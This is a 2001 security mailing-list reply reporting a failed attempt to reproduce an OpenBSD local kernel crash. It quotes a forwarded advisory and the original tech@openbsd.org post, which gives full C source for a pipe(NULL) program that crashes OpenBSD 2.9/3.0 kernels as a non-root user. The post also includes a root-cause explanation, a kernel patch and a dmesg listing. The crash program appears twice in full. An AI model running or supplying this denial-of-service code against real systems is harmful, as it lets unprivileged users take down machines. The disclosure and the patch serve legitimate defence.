[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: OpenBSD local DoS
i was unable to reproduce this on OpenBSD 2.7 stable & generic
]: uname -a
OpenBSD korsakov 2.7 GENERIC#25 i386
the code in the mail compiled without error.
this is the output i get:
]: ./crash
Before pipe
PID=23494 PPID=32414: pipe(0)
PID=23494 PPID=32414: perror(Could not create pipe)
PID=23494 PPID=32414: malloc(32)
PID=23494 Could not create pipe: Bad address
stuart
p.s.
this is the code i used:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdarg.h>
#include <syslog.h>
/* globals */
int fd[8]; /* temp pipe file descriptors */
int fd_real[4]; /* real pipe's */
static int __DEBUG__ = 0;
static int __SYSLOG__ = 0;
void enable_debug(void)
{
__DEBUG__ = 1;
}
void disable_debug(void)
{
__DEBUG__ = 0;
}
void enable_syslog(void)
{
__SYSLOG__ = 1;
}
void disable_syslog(void)
{
__SYSLOG__ = 0;
}
void s_fprintf(FILE *file, const char *fmt, ...)
{
va_list ap;
if (__DEBUG__) {
fflush(file);
va_start(ap, fmt);
vfprintf(file, fmt, ap);
va_end(ap);
fflush(file);
}
if (__SYSLOG__) {
va_start(ap, fmt);
vsyslog(LOG_INFO, fmt, ap);
va_end(ap);
}
}
void *s_malloc(size_t size)
{
char serr[40]; /* can not allocate more mem so lets use this
ugly beast */
void *p;
if (__DEBUG__ || __SYSLOG__) {
s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
getpid(), getppid(), size);
}
if ((p = malloc(size)) == NULL ) {
sprintf(serr,"PID=%i, Could not allocate memory",
getpid());
perror(serr);
exit(6);
}
return p;
}
void s_perror(const char *str)
{
char *buf;
if (__DEBUG__ || __SYSLOG__) {
s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
getpid(), getppid(), str);
}
buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
sprintf(buf, "PID=%-5i %s", getpid(), str);
perror(buf);
free(buf);
}
void s_pipe(int *fd)
{
if (__DEBUG__ || __SYSLOG__) {
s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
getpid(), getppid(), (unsigned int)fd);
}
if (pipe(fd) == -1)
{
s_perror("Could not create pipe");
exit(3);
}
}
int main(int argc, char **argv)
{
enable_debug();
enable_syslog();
fprintf(stderr, "Before pipe\n");
s_pipe(NULL); /* test if s_pipe exits */
fprintf(stderr, "Will never reach this\n");
return 0;
}
On Sun, Dec 02, 2001 at 12:33:09PM -0800, Rapid 7 Security Advisories wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
>
>
> A local denial of service attack against OpenBSD
> was published today (Sunday Dec 02) to the
> tech@openbsd.org mailing list by Marco Peereboom
> (<marcodsl@swbell.net>.
>
> I'm forwarding his message on to the general security
> community.
>
> The effect of the attack is to crash the system.
> The user does not have to be root. OpenBSD 2.9 is
> vulnerable, and apparently 3.0 is also vulnerable.
>
> We were able to reproduce this on our OpenBSD 2.9-STABLE
> systems.
>
> One suggested workaround is to harden your OpenBSD system
> with the "Stephanie" TPE (trusted path execution) kernel
> patch. We were not able to reproduce this exploit against
> our Stephanie-patched OpenBSD systems. More information
> can be found at:
>
> http://www.packetfactory.net/Projects/Stephanie/
>
> Disclaimer and Copyright
>
> Rapid 7, Inc. is not responsible for the misuse of the information
> provided in our security advisories. These advisories are a service
> to the professional security community. There are NO WARRANTIES
> with regard to this information. Any application or distribution of
> this information constitutes acceptance AS IS, at the user's own
> risk. This information is subject to change without notice.
>
> This advisory Copyright (C) 2001 Rapid 7, Inc. Permission is
> hereby granted to redistribute this advisory in electronic media
> only, providing that no changes are made and that the copyright
> notices and disclaimers remain intact. This advisory may not be
> printed or distributed in non-electronic media without the
> express written permission of Rapid 7, Inc.
>
>
> The original message to tech@openbsd.org is included below.
>
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGP 7.0.1
>
> iQEVAwUBPAqPWestPa8cHEsJAQGL2wgAjMuENkFSVHJzEu/cKD1uCPsgwrcR3/ZA
> qTuhqjj3NfEbHaUphB11CVhli9zJXxGJDOOhS5rPHXObNS66Lv+T3rcgBXbahSTS
> iljr0gm5N1jSO/HVJft/f8KeaZ0Pa9wnNVcAQP4GURMA/s4mIscr3xaqmb5pOXDW
> exRHJsv78KhyHRe0CbkHFtewitWaRi1fv3pyFj+Jy46Zy04/HIBVoSDqhz3wUY9d
> lUBiJbnnfXSrpKRr7EyX3NNBgY85bqeR9srvfxCOIuFC+zwD05i4SqCgW4H96i+1
> g6Nog1UdJX+77N4WHcHiZH04TBf75U4TxEftjh0dM3pW+gN3RWaWlA==
> =ad32
> -----END PGP SIGNATURE-----
>
> The original message follows:
>
> Date: Sun, 02 Dec 2001 11:22:45 -0600
> From: Marco Peereboom <marcodsl@swbell.net>
> Subject: Code that crashes kernel at will + proposed patch
> To: tech@openbsd.org
>
> Hi,
>
> While I was coding away in userland I ran into a piece of code that will
> crash the kernel regardless of user (root or non-root). I started
> playing around with this and I found out that oBSD 2.9 & oBSD 3.0 are
> both vulnerable (I don't have any earlier boxes but this will likely
> crash them as well). I tried to isolate it and the shortest code I came
> up with that always crashes the kernel is:
>
> [root@corona src]# cat crashme.c
> #include <stdlib.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/wait.h>
> #include <signal.h>
> #include <stdarg.h>
> #include <syslog.h>
>
> /* globals */
> int fd[8]; /* temp pipe file descriptors */
> int fd_real[4]; /* real pipe's */
>
> static int __DEBUG__ = 0;
> static int __SYSLOG__ = 0;
>
> void enable_debug(void)
> {
> __DEBUG__ = 1;
> }
>
> void disable_debug(void)
> {
> __DEBUG__ = 0;
> }
>
> void enable_syslog(void)
> {
> __SYSLOG__ = 1;
> }
>
> void disable_syslog(void)
> {
> __SYSLOG__ = 0;
> }
>
> void s_fprintf(FILE *file, const char *fmt, ...)
> {
> va_list ap;
>
> if (__DEBUG__) {
> fflush(file);
>
> va_start(ap, fmt);
> vfprintf(file, fmt, ap);
> va_end(ap);
>
> fflush(file);
> }
>
> if (__SYSLOG__) {
> va_start(ap, fmt);
> vsyslog(LOG_INFO, fmt, ap);
> va_end(ap);
> }
> }
>
> void *s_malloc(size_t size)
> {
> char serr[40]; /* can not allocate more mem so lets use this
> ugly beast */
> void *p;
>
> if (__DEBUG__ || __SYSLOG__) {
> s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
> getpid(), getppid(), size);
> }
>
> if ((p = malloc(size)) == NULL ) {
> sprintf(serr,"PID=%i, Could not allocate memory",
> getpid());
> perror(serr);
> exit(6);
> }
>
> return p;
> }
>
> void s_perror(const char *str)
> {
> char *buf;
>
> if (__DEBUG__ || __SYSLOG__) {
> s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
> getpid(), getppid(), str);
> }
>
> buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
> sprintf(buf, "PID=%-5i %s", getpid(), str);
> perror(buf);
>
> free(buf);
> }
>
> void s_pipe(int *fd)
> {
> if (__DEBUG__ || __SYSLOG__) {
> s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
> getpid(), getppid(), (unsigned int)fd);
> }
>
> if (pipe(fd) == -1)
> {
> s_perror("Could not create pipe");
> exit(3);
> }
> }
>
> int main(int argc, char **argv)
> {
> enable_debug();
> enable_syslog();
>
> fprintf(stderr, "Before pipe\n");
> s_pipe(NULL); /* test if s_pipe exits */
> fprintf(stderr, "Will never reach this\n");
>
> return 0;
> }
>
> I also tried this:
> [root@corona src]# cat a.c
> int main(int argc, char **argv)
> {
> if (pipe(0) == -1)
> {
> perror("kloink");
> exit(1);
> }
> return 0;
> }
> This does however not crash the kernel. That kind of explains why it
> went undetected.
>
> I tried to debug the kernel and I was partially successful at that. I
> definitively need more practice at BSD kernel debugging ;) but I did
> find what was wrong. We were releasing the user mode retval instead of
> the *real* rval kernel mode values. And since retval was pointing at
> NULL bad things happened.
> Anyway here is the patch for 3.0:
> [root@corona kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
> --- uipc_syscalls.c.old Sun Dec 2 10:48:21 2001
> +++ uipc_syscalls.c Sun Dec 2 10:48:48 2001
> @@ -903,8 +903,8 @@
> error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
> 2 * sizeof (int));
> if (error) {
> - fdrelease(p, retval[0]);
> - fdrelease(p, retval[1]);
> + fdrelease(p, rval[0]);
> + fdrelease(p, rval[1]);
> }
> return (error);
> }
>
> Here is the patch for 2.9:
> [root@vuurmuur kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
> --- uipc_syscalls.c.old Sun Dec 2 11:00:51 2001
> +++ uipc_syscalls.c Sun Dec 2 11:01:17 2001
> @@ -886,8 +886,8 @@
> error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
> 2 * sizeof (int));
> if (error) {
> - fdrelease(p, retval[0]);
> - fdrelease(p, retval[1]);
> + fdrelease(p, rval[0]);
> + fdrelease(p, rval[1]);
> }
> return (error);
> }
>
> [root@corona root]# dmesg
> OpenBSD 3.0-current (GENERIC) #5: Sun Dec 2 11:10:30 CST 2001
> root@corona:/usr/src/sys/arch/i386/compile/GENERIC
> cpu0: Intel Pentium III (Coppermine) ("GenuineIntel" 686-class) 647 MHz
> cpu0:
> FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,SYS,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,F
> XSR,SIMD
> real mem = 402087936 (392664K)
> avail mem = 366768128 (358172K)
> using 4933 buffers containing 20205568 bytes (19732K) of memory
> mainbus0 (root)
> bios0 at mainbus0: AT/286+(00) BIOS, date 07/26/01, BIOS32 rev. 0 @
> 0xffe90
> apm0 at bios0: Power Management spec V1.2
> apm0: battery life expectancy 100%
> apm0: AC on, battery charge high, estimated 5:51 hours
> pcibios0 at bios0: rev. 2.1 @ 0xf0000/0x10000
> pcibios0: PCI IRQ Routing Table rev. 1.0 @ 0xfbd20/128 (6 entries)
> pcibios0: PCI Interrupt Router at 000:07:0 ("Intel 82371 PCI-ISA and
> IDE" rev 0x00)
> pcibios0: PCI bus #3 is the last bus
> bios0: ROM list: 0xc0000/0x10000
> pci0 at mainbus0 bus 0: configuration mode 1 (no bios)
> pchb0 at pci0 dev 0 function 0 "Intel 82443BX PCI-AGP" rev 0x03
> ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x03
> pci1 at ppb0 bus 1
> vga1 at pci1 dev 0 function 0 "ATI Mobility 1" rev 0x64
> wsdisplay0 at vga1: console (80x25, vt100 emulation)
> wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
> cbb0 at pci0 dev 3 function 0 "Texas Instruments PCI1225 PCI-CardBus"
> rev 0x01: irq 11
> cbb1 at pci0 dev 3 function 1 "Texas Instruments PCI1225 PCI-CardBus"
> rev 0x01: irq 11
> pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x02
> pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
> channel 0 wired to compatibility, channel 1 wired to compatibility
> wd0 at pciide0 channel 0 drive 0: <IC25N030ATDA04-0>
> wd0: 16-sector PIO, LBA, 28615MB, 16383 cyl, 16 head, 63 sec, 58605120
> sectors
> wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
> pciide0: channel 1 ignored (disabled)
> uhci0 at pci0 dev 7 function 2 "Intel 82371AB USB" rev 0x01: irq 11
> usb0 at uhci0: USB revision 1.0
> uhub0 at usb0
> uhub0: vendor 0x0000 UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
> uhub0: 2 ports with 2 removable, self powered
> "Intel 82371AB Power Mgmt" rev 0x03 at pci0 dev 7 function 3 not
> configured
> "ESS Maestro 3" rev 0x10 at pci0 dev 8 function 0 not configured
> cardslot0 at cbb0 slot 0 flags 0
> cardbus0 at cardslot0: bus 2 device 0 cacheline 0x8, lattimer 0x20
> pcmcia0 at cardslot0
> cardslot1 at cbb1 slot 1 flags 0
> cardbus1 at cardslot1: bus 3 device 0 cacheline 0x8, lattimer 0x20
> pcmcia1 at cardslot1
> isa0 at pcib0
> isadma0 at isa0
> pckbc0 at isa0 port 0x60/5
> pckbd0 at pckbc0 (kbd slot)
> pckbc0: using irq 1 for kbd slot
> wskbd0 at pckbd0: console keyboard, using wsdisplay0
> pms0 at pckbc0 (aux slot)
> pckbc0: using irq 12 for aux slot
> wsmouse0 at pms0 mux 0
> pcppi0 at isa0 port 0x61
> midi0 at pcppi0: <PC speaker>
> sysbeep0 at pcppi0
> lpt0 at isa0 port 0x378/4 irq 7
> npx0 at isa0 port 0xf0/16: using exception 16
> pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
> fdc0 at isa0 port 0x3f0/6 irq 6 drq 2
> fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec
> biomask 4840 netmask 4840 ttymask 58c2
> pctr: 686-class user-level performance counters enabled
> mtrr: Pentium Pro MTRR support
> dkcsum: wd0 matched BIOS disk 80
> root on wd0a
> rootdev=0x0 rrootdev=0x300 rawdev=0x302
> an0 at pcmcia1 function 0 "Cisco Systems, 340 Series Wireless LAN
> Adapter": address 00:40:96:44:e1:3b